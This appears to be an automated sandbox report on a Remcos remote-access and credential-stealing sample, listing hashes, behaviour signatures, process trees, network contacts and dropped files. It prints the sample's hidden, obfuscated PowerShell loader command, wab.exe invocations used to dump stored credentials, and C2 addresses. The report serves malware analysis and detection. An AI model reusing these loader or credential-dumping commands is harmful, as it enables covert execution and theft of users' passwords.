Malware Analysis Report

2025-01-02 03:09

Sample ID 240819-bzmgkszgjl
Target 9be2bb8f46192a7cf7006587c0e95d54.bin
SHA256 7cc1d318287ed3311ffee12c37ee32ee94208d2f5860e99a5d54a5fb24dddef5
Tags
remcos remotehost collection credential_access discovery execution rat stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7cc1d318287ed3311ffee12c37ee32ee94208d2f5860e99a5d54a5fb24dddef5

Threat Level: Known bad

The file 9be2bb8f46192a7cf7006587c0e95d54.bin was found to be: Known bad.

Malicious Activity Summary

remcos remotehost collection credential_access discovery execution rat stealer

Remcos

NirSoft MailPassView

Detected Nirsoft tools

NirSoft WebBrowserPassView

Credentials from Password Stores: Credentials from Web Browsers

Command and Scripting Interpreter: PowerShell

Accesses Microsoft Outlook accounts

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Suspicious use of NtCreateThreadExHideFromDebugger

Drops file in Windows directory

System Location Discovery: System Language Discovery

Program crash

Enumerates physical storage devices

NSIS installer

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: MapViewOfSection

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-19 01:35

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-19 01:34

Reported

2024-08-19 01:37

Platform

win7-20240705-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"

Signatures

Remcos

rat remcos

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Detected Nirsoft tools

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\albocarbon.ile C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wab.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2548 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2136 wrote to memory of 2960 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 2680 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 2680 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 2680 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 2680 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 2680 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1668 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1668 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1668 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1668 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1668 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1800 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1800 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1800 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1800 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2960 wrote to memory of 1800 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe

"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mzntfqioczbbggweytzpwa"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wbslfjtpqhtgiukqhdurznvdo"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zvxwgtejeplttahuyohsksquwikl"

Network

Country Destination Domain Proto
VN 103.67.162.225:80 103.67.162.225 tcp
VN 103.67.162.233:9462 tcp
VN 103.67.162.233:9462 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

memory/2136-7-0x0000000073A81000-0x0000000073A82000-memory.dmp

memory/2136-8-0x0000000073A80000-0x000000007402B000-memory.dmp

memory/2136-9-0x0000000073A80000-0x000000007402B000-memory.dmp

memory/2136-10-0x0000000073A80000-0x000000007402B000-memory.dmp

memory/2136-11-0x0000000073A80000-0x000000007402B000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys

MD5 d9a344e48210c5d555312be94347270a
SHA1 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256 e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512 ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853

memory/2136-14-0x0000000073A80000-0x000000007402B000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Sacrificed.Guf

MD5 e5923d356c8ca6e039eb3c12c3f8ce7a
SHA1 b920b2490fb5bbcefb281df27180eaa4f81825fc
SHA256 a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65
SHA512 41af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f

memory/2136-16-0x0000000073A80000-0x000000007402B000-memory.dmp

memory/2136-17-0x0000000006800000-0x000000000B675000-memory.dmp

memory/2136-18-0x0000000073A80000-0x000000007402B000-memory.dmp

memory/2960-19-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-21-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2680-29-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2680-28-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1800-36-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1668-31-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1800-35-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2680-39-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2680-38-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1668-37-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1668-34-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1800-33-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1800-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\mzntfqioczbbggweytzpwa

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2960-45-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-47-0x0000000000450000-0x0000000000469000-memory.dmp

memory/2960-51-0x0000000000450000-0x0000000000469000-memory.dmp

memory/2960-50-0x0000000000450000-0x0000000000469000-memory.dmp

memory/2960-53-0x0000000000B90000-0x0000000001BF2000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 1deeb0fd50328560b99c71bb2e0af76a
SHA1 585093b6387c51e736249615a55fb68cafda0619
SHA256 63f3122dd7b902c88770d845b2a5fd5ecc84ea2ce093fd86fd74c961b19c078c
SHA512 97d01ed0aa4c8c8bd936595efb9f61d535eb4ebce976539da794a5ade331cad9b11a6140d9436336f2b788b2ff2bccb57498efd9c5bda4033cdb7b355727e96f

memory/2960-56-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-59-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-62-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-65-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-68-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-71-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-74-0x0000000000B90000-0x0000000001BF2000-memory.dmp

memory/2960-77-0x0000000000B90000-0x0000000001BF2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-19 01:34

Reported

2024-08-19 01:37

Platform

win10v2004-20240802-en

Max time kernel

91s

Max time network

145s

Command Line

"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\albocarbon.ile C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe

"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4948 -ip 4948

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 2328

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

memory/4948-5-0x0000000073A6E000-0x0000000073A6F000-memory.dmp

memory/4948-6-0x0000000002300000-0x0000000002336000-memory.dmp

memory/4948-8-0x0000000005060000-0x0000000005688000-memory.dmp

memory/4948-7-0x0000000073A60000-0x0000000074210000-memory.dmp

memory/4948-9-0x0000000004D70000-0x0000000004D92000-memory.dmp

memory/4948-10-0x0000000004EE0000-0x0000000004F46000-memory.dmp

memory/4948-11-0x0000000004FC0000-0x0000000005026000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnghdlnv.akr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4948-21-0x0000000005690000-0x00000000059E4000-memory.dmp

memory/4948-22-0x0000000005C30000-0x0000000005C4E000-memory.dmp

memory/4948-23-0x0000000005C70000-0x0000000005CBC000-memory.dmp

memory/4948-24-0x0000000006BE0000-0x0000000006C76000-memory.dmp

memory/4948-25-0x0000000006160000-0x000000000617A000-memory.dmp

memory/4948-26-0x00000000061B0000-0x00000000061D2000-memory.dmp

memory/4948-27-0x0000000007230000-0x00000000077D4000-memory.dmp

C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys

MD5 d9a344e48210c5d555312be94347270a
SHA1 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256 e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512 ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853

memory/4948-29-0x0000000007E60000-0x00000000084DA000-memory.dmp

memory/4948-31-0x0000000073A60000-0x0000000074210000-memory.dmp